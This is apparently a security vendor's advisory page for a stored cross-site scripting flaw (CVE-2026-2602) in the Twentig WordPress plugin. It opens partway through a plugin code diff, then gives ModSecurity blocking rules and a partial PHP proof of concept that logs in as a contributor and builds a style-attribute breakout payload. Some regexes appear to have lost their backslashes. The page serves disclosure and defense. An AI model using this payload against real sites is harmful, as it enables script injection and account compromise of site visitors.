+		$duration = $attributes['twAnimationDuration'] ?? '';
+		$delay    = $attributes['twAnimationDelay'] ?? 0;
+
+		$tag_processor->set_bookmark( 'tw-gallery' );
+		$tag_processor->remove_class( 'tw-block-animation' );
+
+		while ( $tag_processor->next_tag( 'figure' ) ) {
+			if ( ! $tag_processor->has_class( 'tw-block-animation' ) ) {
+				$tag_processor->add_class( 'tw-block-animation' );
+				$tag_processor->add_class( 'tw-animation-' . sanitize_html_class( $animation ) );
+
+				if ( $duration ) {
+					$tag_processor->add_class( 'tw-duration-' . sanitize_html_class( $duration ) );
+				}
+
+				if ( $delay ) {
+					$style_attr = $tag_processor->get_attribute( 'style' );
+					$style      = '--tw-animation-delay:' . esc_attr( $delay ) . 's;' . $style_attr;
+					$tag_processor->set_attribute( 'style', $style );
+				}
+			}
+		}
+		$tag_processor->seek( 'tw-gallery' );
+		$block_content = $tag_processor->get_updated_html();
+	}
+
+	if ( 'justified' === $layout ) {
+		$rowHeight = (int) ( $attributes['twRowHeight'] ?? 250 );
+		$crop      = $attributes['imageCrop'] ?? true;
+		$tag_processor->remove_class( 'columns-default' );
+
+		$style_attr = $tag_processor->get_attribute( 'style' );
+		$style      = '--tw-row-height:' . esc_attr( $rowHeight ) . 'px;' . $style_attr;
+		$tag_processor->set_attribute( 'style', $style );
+
+		if ( $crop ) {
+			while ( $tag_processor->next_tag( 'figure' ) ) {
+				$tag_processor->set_bookmark( 'figure' );
+				$tag_processor->next_tag( 'img' );
+
+				$ratio         = '';
+				$attachment_id = absint( $tag_processor->get_attribute( 'data-id' ) );
+				$tag_processor->set_attribute( 'decoding', 'auto' );
+
+				if ( ! $attachment_id ) {
+					$class = $tag_processor->get_attribute( 'class' );
+					if ( ! empty( $class ) && preg_match( '/wp-image-([0-9]+)/i', $class, $class_id ) ) {
+						$attachment_id = absint( $class_id[1] );
+					}
+				}
+
+				if ( $attachment_id ) {
+					$metadata = wp_get_attachment_metadata( $attachment_id );
+					if ( is_array( $metadata ) && isset( $metadata['width'], $metadata['height'] ) && (int) $metadata['height'] !== 0 ) {
+						$ratio = round( (int) $metadata['width'] / (int) $metadata['height'], 6 );
+					}
+				} else {
+					$image_src = $tag_processor->get_attribute( 'src' );
+					if ( $image_src ) {
+						$query = wp_parse_url( str_replace( '&', '&', $image_src ), PHP_URL_QUERY );
+						if ( $query ) {
+							$query_params = wp_parse_args( $query );
+							if ( isset( $query_params['w'], $query_params['h'] ) && is_numeric( $query_params['w'] ) && is_numeric( $query_params['h'] ) && (int) $query_params['h'] !== 0 ) {
+								$ratio = round( (int) $query_params['w'] / (int) $query_params['h'], 6 );
+							}
+						}
+					}
+				}
+
+				if ( $ratio ) {
+					$tag_processor->seek( 'figure' );
+					$style_attr = $tag_processor->get_attribute( 'style' );
+					$style      = '--tw-ratio:' . esc_attr( $ratio ) . ';' . $style_attr;
+					$tag_processor->set_attribute( 'style', $style );
+				}
+			}
+		}
+
+		$block_content = $tag_processor->get_updated_html();
+
+	} elseif ( 'carousel' === $layout ) {
+
+		wp_enqueue_script_module(
+			'tw-block-gallery',
+			TWENTIG_ASSETS_URI . '/blocks/gallery/view.js',
+			array( '@wordpress/interactivity' ),
+			TWENTIG_VERSION
+		);
+
+		$slides_count     = count( $block['innerBlocks'] );
+		$settings         = $attributes['twCarousel'] ?? array();
+		$arrows_position  = $settings['arrowsPosition'] ?? 'overlay';
+		$markers_position = $settings['markersPosition'] ?? 'below';
+		$columns          = (int) ( $attributes['columns'] ?? 3 );
+		$view             = $settings['view'] ?? '';
+		$show_edges       = 'adjacent-images' === $view;
+
+		if ( 1 !== $columns || str_contains( $arrows_position, 'below' ) ) {
+			$markers_position = 'none';
+		}
+
+		$tag_processor->set_attribute( 'role', 'region' );
+		$tag_processor->set_attribute( 'aria-roledescription', __( 'carousel', 'twentig' ) );
+		$tag_processor->set_attribute( 'aria-label', __( 'Image gallery', 'twentig' ) );
+		$tag_processor->set_attribute( 'data-wp-interactive', 'twentig/carousel' );
+		$tag_processor->set_attribute( 'data-wp-init', 'callbacks.initCarousel' );
+		$tag_process

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-2602
# Blocks exploitation of Twentig plugin stored XSS via featuredImageSizeWidth parameter
# Targets WordPress block editor REST API endpoints used to update post content
SecRule REQUEST_METHOD "@streq POST" 
  "id:20262602,phase:2,deny,status:403,chain,msg:'CVE-2026-2602: Twentig plugin stored XSS via featuredImageSizeWidth',severity:'CRITICAL',tag:'CVE-2026-2602',tag:'wordpress',tag:'twentig',tag:'xss'"
  SecRule REQUEST_URI "@rx ^/wp-json/wp/vd+/posts/(d+)$" 
    "chain,t:none"
    SecRule REQUEST_BODY "@rx featuredImageSizeWidth["']?s*:s*["']?[^"']*["'<>](?javascript:" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,ctl:auditLogParts=+E,logdata:'Matched %{MATCHED_VAR}'"

# Alternative rule for more precise matching of the specific attack pattern
SecRule REQUEST_METHOD "@streq POST" 
  "id:20262603,phase:2,deny,status:403,chain,msg:'CVE-2026-2602: Twentig plugin XSS via style attribute breakout',severity:'CRITICAL',tag:'CVE-2026-2602',tag:'wordpress',tag:'twentig',tag:'xss'"
  SecRule REQUEST_URI "@rx ^/wp-json/wp/vd+/posts/(d+)$" 
    "chain,t:none"
    SecRule REQUEST_BODY "@rx featuredImageSizeWidth["']?s*:s*["']?[d.]+(px|%|em|rem|vw|vh)?["']?s*["'<>](?s*(onw+|javascript:)" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,ctl:auditLogParts=+E,logdata:'Matched %{MATCHED_VAR}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2602 - Twentig <= 1.9.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'featuredImageSizeWidth'

<?php
/**
 * Proof of Concept for CVE-2026-2602
 * Demonstrates stored XSS via featuredImageSizeWidth parameter in Twentig plugin
 * Requires valid Contributor+ WordPress credentials
 */

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload to break out of style attribute and execute JavaScript
$payload = '100px;" onload="alert(`XSS via CVE-2026-2602`);//';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_2602');

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code !== 200) {
    die("Authentication failed. HTTP code: $http_coden");
}

// Step 2: Create a new post to inject the payload
$create_post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt_array($ch, [
    CURLOPT_URL => $create_post_url,
    CURLOPT_HTTPGET => true
]);

$response = curl_exec($ch);

// Extract nonce and post ID from the response (simplified - real implementation would parse HTML)
// For demonstration, we'll assume we have a valid post ID and nonce
$post_id = 123; // Would be extracted from response in full PoC
$nonce = 'abc123def'; // Would be extracted from response in full PoC

// Step 3: Inject payload via block attributes
// This would be done via WordPress REST API or direct post update
// For demonstration, showing the vulnerable parameter structure:
$block_attributes = [
    'featuredImageSizeWidth' => $payload,
    'featuredImageSizeHeight' => 'auto',
    'isLink' => false
];

// The block JSON would contain:
$block_json = json_encode([
    'blockName' => 'core/post-featured-image',
    'attrs' => $block_attributes,
    'innerHTML' => '',
    'innerContent' => []
]);

echo "Payload prepared for injection:n";
echo "featuredImageSizeWidth: $payloadnn";
echo "When this block is rendered, the output will contain:n";
echo "style="width: $payload"n";
echo "Which breaks out of the style attribute and executes the onload handler.n";

curl_close($ch);
unlink($cookie_file);

// Note: Full automation requires parsing WordPress nonces and using the REST API
// This PoC demonstrates the vulnerable parameter and payload structure
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School